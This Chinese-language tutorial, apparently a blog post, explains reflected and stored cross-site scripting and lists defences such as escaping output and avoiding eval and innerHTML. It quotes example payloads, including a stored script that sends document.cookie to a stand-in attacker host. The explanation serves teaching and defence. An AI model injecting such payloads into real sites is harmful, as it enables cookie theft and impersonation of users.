xss(Cross Site Scripting):跨站脚本攻击
原理:
恶意攻击者在web页面中会插入一些恶意的script代码。当用户浏览该页面的时候,那么嵌入到web页面中script代码会执行,因此会达到恶意攻击用户的目的。那么XSS攻击最主要有如下分类:反射型、存储型、及 DOM-based型。 反射性和DOM-baseed型可以归类为非持久性XSS攻击。存储型可以归类为持久性XSS攻击。
反射型XSS
反射性XSS的原理是:反射性xss一般指攻击者通过特定的方式来诱惑受害者去访问一个
包含恶意代码的URL。当受害者点击恶意链接url的时候,
恶意代码会直接在受害者的主机上的浏览器执行。
反射性XSS又可以叫做非持久性XSS 。
攻击者可以直接通过 URL (类似:[https://xx.com/xx?default=](https://link.jianshu.com/?t=https%3A%2F%2Fxx.com%2Fxx%3Fdefault%3D)<script>alert(document.cookie)</script>) 注入可执行的脚本代码。
及恶意链接
非持久型 XSS 漏洞攻击有以下几点特征:
(1)即时性,不经过服务器存储,直接通过 HTTP 的 GET 和
POST 请求就能完成一次攻击,拿到用户隐私数据;
(2)攻击者需要诱骗点击;
(3)反馈率低,所以较难发现和响应修复;
(4)盗取用户敏感保密信息。
为了防止出现非持久型 XSS 漏洞,需要确保这么几件事情:
(1)Web 页面渲染的所有内容或者渲染的数据都必须来自于服务端。
(2)尽量不要从 URL,document.referrer,document.forms
等这种 DOM API 中获取数据直接渲染。
(3)尽量不要使用 eval/new Function()/document.write()/document.writeln()
/window.setInterval()/window.setTimeout()/innerHTML
/document.creteElement() 等可执行字符串的方法
(4)如果做不到以上几点,也必须对涉及 DOM 渲染的方法传入的字符串参数做 escape 转义。
(5)前端渲染的时候对任何的字段都需要做 escape 转义编码。
存储型XSS
存储型XSS的原理是:主要是将恶意代码上传或存储到服务器中,下次只要受害者浏览包含此恶意代码的页面就会执行恶意代码。
比如我现在做了一个博客网站,然后攻击者在上面发布了一篇文章,内容是如下:<script>window.open("www.gongji.com?param="+document.cookie)</script> 如果我没有对该文章进行任何处理的话,直接存入到数据库中,那么下一次当其他用户访问该文章的时候,服务器会从数据库中读取后然后响应给客户端,那么浏览器就会执行这段脚本,然后攻击者就会获取到用户的cookie,然后会把cookie发送到攻击者的服务器上了。
因此存储型XSS的攻击步骤如下:
1. 攻击者将恶意代码提交到目标网站数据库中。
2. 用户打开目标网站时,网站服务器将恶意代码从数据库中取出,然后拼接到html中返回给浏览器中。
3. 用户浏览器接收到响应后解析执行,那么其中的恶意代码也会被执行。
4. 那么恶意代码执行后,就能获取到用户数据,比如上面的cookie等信息,那么把该cookie发送到攻击者网站中,那么攻击者拿到该
cookie然后会冒充该用户的行为,调用目标网站接口等违法操作。
如何防范?
(1)后端在入库前应该选择不相信任何前端数据,将所有的字段统一进行转义处理。
(2)后端在输出给前端数据统一进行转义处理。
(3)前端在渲染页面 DOM 的时候应该选择不相信任何后端数据,任何字段都需要做转义处理。
参考博文: https://www.cnblogs.com/tugenhua0707/p/10909284.html#_labe0